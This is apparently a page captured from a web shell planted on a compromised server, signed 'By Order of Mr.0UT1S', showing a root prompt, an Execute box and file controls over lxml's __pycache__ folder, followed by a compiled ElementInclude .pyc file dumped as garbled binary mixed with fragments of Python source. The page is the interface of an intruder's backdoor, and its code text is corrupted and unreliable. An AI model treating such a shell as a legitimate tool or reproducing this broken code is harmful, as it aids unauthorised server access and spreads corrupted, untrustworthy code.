opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
lxml
/
__pycache__
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
ElementInclude.cpython-312.pyc
5.91 KB
Rename
Delete
__init__.cpython-312.pyc
986 bytes
Rename
Delete
_elementpath.cpython-312.pyc
10.09 KB
Rename
Delete
builder.cpython-312.pyc
7.37 KB
Rename
Delete
cssselect.cpython-312.pyc
4.44 KB
Rename
Delete
doctestcompare.cpython-312.pyc
23.68 KB
Rename
Delete
pyclasslookup.cpython-312.pyc
228 bytes
Rename
Delete
sax.cpython-312.pyc
12.05 KB
Rename
Delete
usedoctest.cpython-312.pyc
461 bytes
Rename
Delete
� ��gp! � � � d Z ddlmZ ddlmZ ddlmZ dZ e dz Ze dz Ze dz Z d Z G d � dej � Z G d� d e� Zdd�Zdd�Zd� Zddefd�Zddedfd�Zy# e$ r ddlmZ ddl mZ Y �aw xY w)a Limited XInclude support for the ElementTree package. While lxml.etree has full support for XInclude (see `etree.ElementTree.xinclude()`), this module provides a simpler, pure Python, ElementTree compatible implementation that supports a simple form of custom URL resolvers. � )�etree)�urljoin)�urlopenz!{http://www.w3.org/2001/XInclude}�include�fallback�*� c � � e Zd Zy)�FatalIncludeErrorN��__name__� __module__�__qualname__� � �D/opt/hc_python/lib64/python3.12/site-packages/lxml/ElementInclude.pyr r K � � �r r c � � e Zd Zy)�LimitedRecursiveIncludeErrorNr r r r r r O r r r Nc �� � t | d� }|dk( r$t j |� j � }n%|j � }|sd}|j |� }|j � |S )N�rb�xml�utf-8)�openr �parse�getroot�read�decode�close)�hrefr �encoding�file�datas r �default_loaderr$ ` s[ � ���d��D���~��{�{�4� �(�(�*���y�y�{����H��{�{�8�$���J�J�L��Kr c � � |dk( r&t j | |� j � }|S d| v rt | � }nt | d� }|j � }|j � |sd}|j |� }|S )Nr z://r r )r r r r r r r r )r r r! �parserr# �fs r �_lxml_default_loaderr( q sv � ���~��{�{�4��(�0�0�2�� �K� �D�=��� �A��T�4� �A��v�v�x�� ��� ���H��{�{�8�$���Kr c � � � d� fd� }|S )Nc � �� �| ||� S �Nr )r r r! r&